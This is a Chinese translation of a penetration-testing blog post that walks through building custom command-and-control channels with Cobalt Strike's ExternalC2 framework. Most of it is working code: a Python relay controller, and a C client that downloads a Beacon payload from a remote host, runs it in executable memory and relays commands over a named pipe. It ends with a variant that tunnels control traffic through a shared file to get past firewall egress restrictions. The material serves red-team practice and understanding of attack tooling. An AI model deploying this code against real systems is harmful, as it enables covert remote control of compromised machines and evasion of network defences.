原文:https://blog.xpnsec.com/exploring-cobalt-strikes-externalc2-framework/
正如许多实战经验丰富的渗透测试人员所了解的那样,有时实现C2通信是一件让人非常头痛的事情。无论是从防火墙的出口连接限制还是进程限制的角度来说,反向shell和反向HTTP C2通道的好日子已经不多了。
好吧,也许我这么说确实夸张了些,但有一点是肯定的,它们的日子会越来越难过。所以,我想未雨绸缪,提前准备好实现C2通信的替代方法,幸运的是,我无意中发现了Cobalt Strike的ExternalC2框架。
ExternalC2
ExternalC2是由Cobalt Strike提出的一套规范/框架,它允许黑客根据需要对框架提供的默认HTTP(S)/DNS/SMB C2 通信通道进行扩展。完整的规范说明可以从这里下载。
换句话说,该框架允许用户开发自己的组件,如:
下面的示意图引用自CS文档,它为我们展示了三者之间的关系:
我们可以看到,自定义的C2通道实现了第三方控制器和第三方客户端之间信息传输,而且,第三方控制器和第三方客户端则可以由我们自己来进行开发和控制。
不过,在继续阅读下文之前,需要先来了解一下如何与Team Server ExternalC2界面进行通信。
首先,我们需要让Cobalt Strike启动ExternalC2。为此,可以使用一个脚本来完成,只需让它调用externalc2_start函数并绑定一个端口即可。ExternalC2服务一旦启动并运行,我们就可以使用自定义的协议来进行通信了。
实际上,该协议非常简单,只涉及一个4字节的、低位优先的长度字段和一个20字节的数据块,具体如下所示:
为了启动通信,我们的第三方控制器需要打开一个面向TeamServer的连接,并发送相应的选项:
arch——要使用的Beacon的体系架构(x86或x64)。
pipename——与Beacon进行通信的管道的名称。
block——在不同任务之间进行切换时,TeamServer的阻塞时间(以毫秒为单位)。
发送这些选项后,第三方控制器就会发送一个go命令。这样,就会启动ExternalC2通信,并进入Beacon的生成和发送过程。然后,第三方控制器会把这个SMB Beacon的有效载荷转发给第三方客户端,并由它来生成相应的SMB Beacon。
在受害者主机上生成SMB Beacon后,接下来就要建立一个连接来传递命令。实际上,命令的传输是通过命名管道来完成的,并且第三方客户端和SMB Beacon之间使用的协议与第三方客户端和第三方控制器之间的协议完全相同:一个4字节的、低位优先的长度字段和一个数据字段。
好了,理论方面的知识已经讲的够多了,让我们创建一个“Hello World”示例来展示如何通过网络来中转通信。
ExternalC2的Hello World示例
在这个例子中,将在服务器端使用Python编写第三方控制器,而在客户端使用C编写第三方客户端。
首先,我们需要通过攻击脚本让Cobalt Strike启用ExternalC2:
# start the External C2 server and bind to 0.0.0.0:2222
externalc2_start("0.0.0.0", 2222);
这会在0.0.0.0:2222上打开ExternalC2。
现在,ExternalC2已经启动并运行了,接下来就可以创建第三方控制器了。
首先,建立与TeamServer ExternalC2接口的连接:
_socketTS = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
_socketTS.connect(("127.0.0.1", 2222))
建立连接后,还需要发送相应的选项。我们接下来将创建一些快速帮助函数,这样就可以把4字节长度作为前缀,而无需每次都手工指定了:
def encodeFrame(data):
return struct.pack("<I", len(data)) + data
def sendToTS(data):
_socketTS.sendall(encodeFrame(data))
如此一来,就可以使用这些帮助函数来发送我们的选项了:
# Send out config options
sendToTS("arch=x86")
sendToTS(“pipename=xpntest")
sendToTS("block=500")
sendToTS("go")
这样的话,Cobalt Strike就会知道我们需要一个x86体系结构的SMB Beacon,同时还需要接收数据。接下来,让我们再创建一些帮助函数来处理数据包的解码,这样就不用每次都得手动解码了:
def decodeFrame(data):
len = struct.unpack("<I", data[0:3])
body = data[4:]
return (len, body)
def recvFromTS():
data = ""
_len = _socketTS.recv(4)
l = struct.unpack("<I",_len)[0]
while len(data) < l:
data += _socketTS.recv(l - len(data))
return data
这样,我们就能够接收原始数据了:
data = recvFromTS()
接下来,我们需要让第三方客户端使用指定的C2协议来连接我们。就目前而言,我们的C2通道协议仅使用4字节长度的数据包格式就行了。首先,我们需要用套接来连接第三方客户端:
_socketBeacon = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
_socketBeacon.bind(("0.0.0.0", 8081))
_socketBeacon.listen(1)
_socketClient = _socketBeacon.accept()[0]
然后,一旦收到连接,我们就进入接收/发送循环,从受害者主机那里接收数据,然后其转发给Cobalt Strike,Cobalt Strike接收数据后,再将其转发给受害者主机:
while(True):
print "Sending %d bytes to beacon" % len(data)
sendToBeacon(data)
data = recvFromBeacon()
print "Received %d bytes from beacon" % len(data)
print "Sending %d bytes to TS" % len(data)
sendToTS(data)
data = recvFromTS()
print "Received %d bytes from TS" % len(data)
完整的示例代码可以从这里下载。
现在,我们已经建好了一个控制器,接下来,还需要创建一个第三方客户端。为简单起见,这里将使用win32和C来访问Windows本机API。现在,让我们从几个辅助函数开始。首先,我们需要连接到第三方控制器。就本例来说,我们会直接使用WinSock2来建立到控制器的TCP连接:
// Creates a new C2 controller connection for relaying commands
SOCKET createC2Socket(const char *addr, WORD port) {
WSADATA wsd;
SOCKET sd;
SOCKADDR_IN sin;
WSAStartup(0x0202, &wsd);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.S_un.S_addr = inet_addr(addr);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
connect(sd, (SOCKADDR*)&sin, sizeof(sin));
return sd;
}
接下来,我们需要设法接收数据。这里使用的方法,与前面的Python代码中看到的类似——使用长度前缀来表示要接收多少字节的数据:
// Receives data from our C2 controller to be relayed to the injected beacon
char *recvData(SOCKET sd, DWORD *len) {
char *buffer;
DWORD bytesReceived = 0, totalLen = 0;
*len = 0;
recv(sd, (char *)len, 4, 0);
buffer = (char *)malloc(*len);
if (buffer == NULL)
return NULL;
while (totalLen < *len) {
bytesReceived = recv(sd, buffer + totalLen, *len - totalLen, 0);
totalLen += bytesReceived;
}
return buffer;
}
类似的,我们还需要设法通过C2通道将数据返回给Controller:
// Sends data to our C2 controller received from our injected beacon
void sendData(SOCKET sd, const char *data, DWORD len) {
char *buffer = (char *)malloc(len + 4);
if (buffer == NULL):
return;
DWORD bytesWritten = 0, totalLen = 0;
*(DWORD *)buffer = len;
memcpy(buffer + 4, data, len);
while (totalLen < len + 4) {
bytesWritten = send(sd, buffer + totalLen, len + 4 - totalLen, 0);
totalLen += bytesWritten;
}
free(buffer);
}
好了,既然已经能够与控制器进行通信了,接下来就可以接收Beacon有效载荷了。在本例中,我们使用的是一个x86或x64有效载荷(取决于第三方控制器传递给Cobalt Strike的选项),首先将其复制到内存中,然后执行。下面,让我们来“召唤”这个Beacon有效载荷:
// Create a connection back to our C2 controller
SOCKET c2socket = createC2Socket("192.168.1.65", 8081);
payloadData = recvData(c2socket, &payloadLen);
出于演示的目的,我们将使用Win32 VirtualAlloc函数来分配一段可执行的内存,并使用CreateThread来执行代码:
HANDLE threadHandle;
DWORD threadId = 0;
char *alloc = (char *)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (alloc == NULL)
return;
memcpy(alloc, payload, len);
threadHandle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, &threadId);
一旦SMB Beacon启动并运行,我们需要将其连接至相应的命名管道。为此,我们可重复尝试连接\.\pipe\xpntest管道(别忘了,这个管道名称是之前以选项的形式进行传递的,同时供SMB Beacon用于接收命令):
// Loop until the pipe is up and ready to use
while (beaconPipe == INVALID_HANDLE_VALUE) {
// Create our IPC pipe for talking to the C2 beacon
Sleep(500);
beaconPipe = connectBeaconPipe("\\\\.\\pipe\\xpntest");
}
接下来,一旦建立连接,就会继续我们的发送/接收循环:
while (true) {
// Start the pipe dance
payloadData = recvFromBeacon(beaconPipe, &payloadLen);
if (payloadLen == 0) break;
sendData(c2socket, payloadData, payloadLen);
free(payloadData);
payloadData = recvData(c2socket, &payloadLen);
if (payloadLen == 0) break;
sendToBeacon(beaconPipe, payloadData, payloadLen);
free(payloadData);
}
到目前为止,我们已经介绍了创建ExternalC2服务的基础知识。至于完整的第三方客户端代码,可以从这里下载。
现在,我们将介绍一些更有趣知识。
通过文件传输C2
首先,让我们回顾一下,当我们创建自定义C2协议时,能够控制哪些东西:
我们可以看到,第三方控制器和第三方客户端之间的数据传输是我们最感兴趣的地方。接下来,我们要对前面的“Hello World”示例代码稍作修改,使其可以完成更加有趣的事情:通过文件读/写的方式来传输数据。
那么,我们为什么要这样做呢?好吧,假设我们位于Windows域中,虽然攻破了一台机器,但是防火墙对其出站访问做了严格的限制。辛运的是,防火墙还允许它访问共享文件……这就意味着,如果一台机器可以访问我们的C2服务器,那么,我们就可以通过这台机器把来自C2服务器的数据写入共享文件中,然后让受防火墙严格限制的那台机器从共享文件中读取相应的数据 ,这样,我们就可以控制Cobalt Strike的Beacon了。
为了加深理解,可以看看下面的示意图:
在这里,我们引入了一个额外的元素,其实就是一个可以将数据传入和传出文件,并与第三方控制器进行通信的隧道。
就本例而言,第三方控制器和“联网主机”之间的通信,仍沿用前面的4字节长度前缀协议,也就是说,现有的Python第三方控制器无需进行任何修改。
但是,这里需要把前面的第三方客户端一分为二。其中,一个客户端在“联网主机”上运行,负责从第三方控制器接收数据并将其写入文件,另一个客户端在“受限主机”上运行,负责从文件中读取数据,生成SMB Beacon,并将数据传递给该Beacon。
对于之前就介绍过的元素,这里就不多说了;所以,下面开始介绍文件传输的实现方式。
首先,创建待传输的文件。为此,可以使用CreateFileA,需要注意的是,必须确保设置FILE_SHARE_READ和FILE_SHARE_WRITE选项。只有这样设置,第三方客户端的两端才可以同时读取和写入文件:
HANDLE openC2FileServer(const char *filepath) {
HANDLE handle;
handle = CreateFileA(filepath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (handle == INVALID_HANDLE_VALUE)
printf("Error opening file: %x\n", GetLastError());
return handle;
}
接下来,我们需要设法将C2数据以序列化方式写入共享文件中,并指出哪些客户端可以随时处理这些数据。
为此,可以借助于一个简单的标头,如:
struct file_c2_header {
DWORD id;
DWORD len;
};
我们的想法是,直接对id字段进行轮询,从而为每个可以读写数据的第三方客户端提供相应的信号。
好了,现在把我们的文件读写函数组合起来,具体如下所示:
void writeC2File(HANDLE c2File, const char *data, DWORD len, int id) {
char *fileBytes = NULL;
DWORD bytesWritten = 0;
fileBytes = (char *)malloc(8 + len);
if (fileBytes == NULL)
return;
// Add our file header
*(DWORD *)fileBytes = id;
*(DWORD *)(fileBytes+4) = len;
memcpy(fileBytes + 8, data, len);
// Make sure we are at the beginning of the file
SetFilePointer(c2File, 0, 0, FILE_BEGIN);
// Write our C2 data in
WriteFile(c2File, fileBytes, 8 + len, &bytesWritten, NULL);
printf("[*] Wrote %d bytes\n", bytesWritten);
}
char *readC2File(HANDLE c2File, DWORD *len, int expect) {
char header[8];
DWORD bytesRead = 0;
char *fileBytes = NULL;
memset(header, 0xFF, sizeof(header));
// Poll until we have our expected id in the header
while (*(DWORD *)header != expect) {
SetFilePointer(c2File, 0, 0, FILE_BEGIN);
ReadFile(c2File, header, 8, &bytesRead, NULL);
Sleep(100);
}
// Read out the expected length from the header
*len = *(DWORD *)(header + 4);
fileBytes = (char *)malloc(*len);
if (fileBytes == NULL)
return NULL;
// Finally, read out our C2 data
ReadFile(c2File, fileBytes, *len, &bytesRead, NULL);
printf("[*] Read %d bytes\n", bytesRead);
return fileBytes;
}
上面的代码的作用,是将标头添加到文件中,并将C2数据写入文件和从文件中读取C2数据。
到目前为止,基本上可以说是万事俱备了,剩下的事情就是实现接收/写入/读取/发送循环,以及C2命令的跨文件传输了。
上面第三方控制器的完整代码可以从这里下载。同时,读者还可以观看下面的演示视频:https://youtu.be/ckm7AHkYnVU。
如果读者希望了解关于ExternalC2的更多信息,可以访问Cobalt Strike ExternalC2的帮助页面,地址https://www.cobaltstrike.com/help-externalc2,这里可以找到更加丰富的学习资料。